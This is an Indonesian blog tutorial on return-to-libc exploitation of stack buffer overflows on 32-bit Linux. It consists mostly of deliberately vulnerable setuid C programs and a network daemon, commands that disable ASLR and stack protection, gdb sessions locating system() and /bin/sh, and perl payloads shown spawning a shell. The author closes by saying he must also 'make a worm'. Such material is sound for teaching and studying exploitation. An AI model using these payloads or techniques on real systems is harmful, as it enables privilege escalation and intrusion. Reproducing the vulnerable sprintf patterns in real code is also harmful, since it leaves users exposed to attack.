Eksploitasi Return to libc di Linux author: mywisdom better view article: http://myw1sd0m.blogspot.com/2011/01/eksploitasi-return-to-libc-linux.html my blog : http://myw1sd0m.blogspot.com Dengan teknik standar saat stack based buffer overflow (seperti artikel yang pernah saya tulis 1 tahun lalu), jika kernel korban menerapkan non executable stack maka shellcode kita tidak akan bisa dieksekusi, oleh karena itu diperlukan teknik return into libc ini. Teknik ini berhasil jika kita bisa melakukan overwrite pada return address dengan alamat fungsi library c, misal: system(), selain teknik ini ada teknik lain yahng lebih bagus tapi tidak akan dibahas sekarang. Coba perhatikan gambaran dari program yang terkena stack based bof berikut ini: (misal buffer size: 16 dimana terjadi malicious input string A (24 bytes)) |AAAAAAAAAAAAAAAA|AAAA|AAAA|AAAA buffer =16 sfp ret di sini terjadi stack based bof di mana program akan mengalami crash dan eksekusi terjadi pada return address (eip) yang dioverwrite, perhatikan bedanya: serangan biasa | nop nop nop | ret | shellcode | (args) (ebp) (eip) serangan dengan return to libc <------stack------ ------------alamat-------------> | buffer | fungsi standar (libc) | fake return | /bin/sh (-> hanya contoh) (args) (ebp) (eip) untuk uji coba pertama kita siapkan sedikit kode c yang mengandung bug: filename: bug.c ----------------------- //stackbof.c #include #include fungsi_yang_vulner(char *temp1, char * temp2) { char bufer[400]; sprintf(bufer,temp2); printf("\nIsian data: %s %s\n",temp1,temp2); } int main(int argc, char * argv[]) { fungsi_yang_vulner(argv[1],argv[2]); printf("\nIsian data Anda: %s %s \n",argv[1],argv[2]); } kompile : mywisdom@bt:~$ gcc stackbof.c -fno-stack-protector -mpreferred-stack-boundary=2 -o stackbof mywisdom@bt:~$ sudo chown root:root stackbof mywisdom@bt:~$ sudo chmod u+s stackbof mywisdom@bt:~$ sudo /sbin/sysctl -w kernel.randomize_va_space=0 ------------------------- ketikkan ini jika ingin agar ada core dump : --------------------- ulimit -c unlimited --------------------- buka gdb: ------------------------- gdb -q stackbof (gdb) run argumen1 `perl -e 'print "A"x407'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/mywisdom/stackbof argumen1 `perl -e 'print "A"x407'` Isian data: argumen1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x00414141 in ?? () yup tingal 1 byte lagi teroverwrite penuh. (gdb) run argumen1 `perl -e 'print "A"x408'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/mywisdom/stackbof argumen1 `perl -e 'print "A"x408'` Isian data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) i r eax 0x1a7 423 ecx 0x0 0 edx 0xb7f0f0d0 -1208946480 ebx 0xb7f0dff4 -1208950796 esp 0xbff9e1b8 0xbff9e1b8 ebp 0x41414141 0x41414141 esi 0x8048490 134513808 edi 0x8048340 134513472 eip 0x41414141 0x41414141 eflags 0x210292 [ AF SF IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) terlihat eip sudah teroverwrite penuh dengan string A (hex=41). set break point di main: (gdb) break main Breakpoint 1 at 0x8048434 (gdb) p system $1 = {} 0xb7ee0ac0 (gdb) run The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/mywisdom/stackbof argumen1 `perl -e 'print "A"x408'` Breakpoint 1, 0x08048434 in main () Current language: auto; currently asm Selanjutnya cari alamat memori untuk system dan execl: (gdb) p system $1 = {} 0xb7eaaac0 * Setting environ shell $ export MYSHELL=/bin/sh untuk menemukan alamat /bin/sh : #include void main(){ char* shell = getenv("MYSHELL"); if (shell) printf("%x\n", (unsigned int)shell); } mywisdom@bt:~$ ./find bffffea8 kembali ke jendela gdb: (gdb) x/s 0xbffffea8 0xbffffea8: "n/sh" ok berarti : (gdb) x/s 0xbffffea0 0xbffffea0: "/bin/sh" (gdb) ditemukan alamat /bin/sh pada 0xbffffea0 dienkode ke endian menjadi: \xa0\xfe\xff\xbf (gdb) p exit $1 = {} 0xb7e9fd00 ditemukan alamat exit pada 0xb7e9fd00, enkode menjadi : \x00\xfd\xe9\xb7 jumlah byte yang diperlukan untuk total overwrite eip=408 408-4=404 alamat untuk system() = 0xb7eaaac0, dienkode menjadi: \xc0\xaa\xea\xb7 Demi untuk mewujudkan kondisi ini: penyisipan junk : \x00\xfd\xe9\xb7 |A sebanyak 400 biji || 0xb7eaaac0 (alamat memori sistem) || 4byt || 0xbffffea0(alamat /bin/sh) ______________________________________________________________________________________ argumen ebp eip r `perl -e 'print "A"x404 . "\xc0\xaa\xea\xb7" . "4byt" . "\xa0\xfe\xff\xbf";'` * Contoh dengan Buffer yang Lebih Kecil /* bug.c */ #include int main(int argc,char *argv[]) { setuid(0); char b[5]; printf("\nadding : %s",argv[1]); sprintf(b,argv[1]); printf("\nuser input:%s\n",&b); } buka gdb $ gdb -q bug (gdb) r `perl -e 'print "A"x12'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/mywisdom/bug `perl -e 'print "A"x12'` adding : AAAAAAAAAAAA user input:AAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x00414141 in ?? () (gdb) 1 byte lagi eip teroverwrite penuh (gdb) r `perl -e 'print "A"x13'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/mywisdom/bug `perl -e 'print "A"x13'` adding : AAAAAAAAAAAAA user input:AAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) (gdb) p system $1 = {} 0xb7eaaac0 * Setting environ shell $ export MYSHELL=/bin/sh untuk menemukan alamat /bin/sh : #include void main(){ char* shell = getenv("MYSHELL"); if (shell) printf("%x\n", (unsigned int)shell); } mywisdom@bt:~$ ./find bffffea8 kembali ke jendela gdb: (gdb) b main Breakpoint 1 at 0x804842a (gdb) run Starting program: /home/mywisdom/bug Breakpoint 1, 0x0804842a in main () Current language: auto; currently asm (gdb) x/s 0xbffffea8 0xbffffea8: "n/sh" (gdb) x/s 0xbffffea0 0xbffffea0: "HELL=/bin/sh" (gdb) x/s 0xBFFFFEA2 0xbffffea2: "LL=/bin/sh" (gdb) x/s 0xBFFFFEA5 0xbffffea5: "/bin/sh" (gdb) ditemukan alamat /bin/sh pada 0xbffffea5 dienkode ke endian menjadi: \xa5\xfe\xff\xbf jumlah byte yang diperlukan untuk total overwrite eip=408 13-4=9 alamat untuk system() = 0xb7eaaac0, dienkode menjadi: \xc0\xaa\xea\xb7 Demi untuk mewujudkan kondisi ini: penyisipan junk : TTTT (x54 sebanyak 4 biji) |A(9x) || \xc0\xaa\xea\xb7(sistem) || TTTT || \xa5\xfe\xff\xbf(alamat /bin/sh) ______________________________________________________________________________________ argumen ebp eip sehingga r `perl -e 'print "A"x9 . "\xc0\xaa\xea\xb7" . "TTTT" . "\xa5\xfe\xff\xbf";'` Dan jika berhasil maka tampilanya sbb: ----------------------------------------- mywisdom@bt:~$ gdb -q bug (gdb) r `perl -e 'print "A"x9 . "\xc0\xaa\xea\xb7" . "TTTT" . "\xa5\xfe\xff\xbf" ;'` Starting program: /home/mywisdom/bug `perl -e 'print "A"x9 . "\xc0\xaa\xea\xb7" . "TTTT" . "\xa5\xfe\xff\xbf";'` adding : AAAAAAAAAÀªê·TTTT¥þÿ¿ user input:AAAAAAAAAÀªê·TTTT¥þÿ¿ sh-3.2$ --------------------------------------------- * Kasus Pada Daemon dengan Bug untuk praktek siapkan suatu daemon berikut ini: ------------------------------------------------------------- #include #include #include #include #include #include #include #define PORT 8085 #define DAEMON_BANNER "Imma Stupid Daemon version 1.0\n" int main() { char bufer[400]; int sock, kon; struct sockaddr_in my_addr, client_addr; int sockopt_on = 1; int sa_in_size = sizeof(struct sockaddr_in); char malicious_user_input_goes_here[1024]; if ((sock = socket(PF_INET, SOCK_STREAM,0)) == -1) { exit(1); } memset((char *) &my_addr, 0, sa_in_size); my_addr.sin_family = PF_INET; my_addr.sin_port = htons(PORT); my_addr.sin_addr.s_addr = htonl(INADDR_ANY); if (bind(sock,(struct sockaddr *)&my_addr, sa_in_size) == -1) { exit(1); } if (listen(sock,0) == -1) { exit(1); } for(;;) { kon = accept(sock, (struct sockaddr *)&client_addr, &sa_in_size); if (kon == -1) { exit(1); } send(kon,DAEMON_BANNER,strlen(DAEMON_BANNER)+1,0); recv(kon, malicious_user_input_goes_here, 1024, 0); sprintf(bufer,malicious_user_input_goes_here); } return 0; } ----------------------------------------------------------------------- dari kode c di atas kita bisa lihat ada kesalahan yang memungkinkan eksploitasi dimulai pada saat ini: char bufer[400]; ukuran buffer 400 byte dan ada sprintf tidak dilakukan dengan benar. root@bt:/home/mywisdom# chown root:root stupid_daemon root@bt:/home/mywisdom# chmod u+s stupid_daemon root@bt:/home/mywisdom# ./stupid_daemon & [5] 11955 mywisdom@bt:~$su jalankan gdb (ptrace pid 11955) untuk inspeksi: root@bt:~# gdb GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu". (gdb) attach 11955 Attaching to process 11955 Reading symbols from /home/mywisdom/stupid_daemon...done. Reading symbols from /lib/tls/i686/cmov/libc.so.6...done. Loaded symbols for /lib/tls/i686/cmov/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 0xffffe424 in __kernel_vsyscall () (gdb) cont Continuing. Untuk menyebabkan program crash membutuhkan inputan yang melebihi batas buffer sebesar 400, -------------------- perl -e 'print "\n";print "A"x2000' | nc 127.0.0.1 8085 -------------------- kembali ke jendela gdb kita bisa lihat daemon menjadi crash --------------------------------------- Program received signal SIGSEGV, Segmentation fault. 0x00b4e1d4 in sprintf () from /lib/libc.so.6 (gdb) ---------------------------------------- dari gdb kita bisa lihat ada bug pada fungsi sprintf ok saya lanjutkan lain waktu krn udah banyak kerjaan sama harus bikin worm juga see u later. thanks to : all devilzc0de crews and members greets: superman , chaer newbie, flyf666, kiddies, gunslinger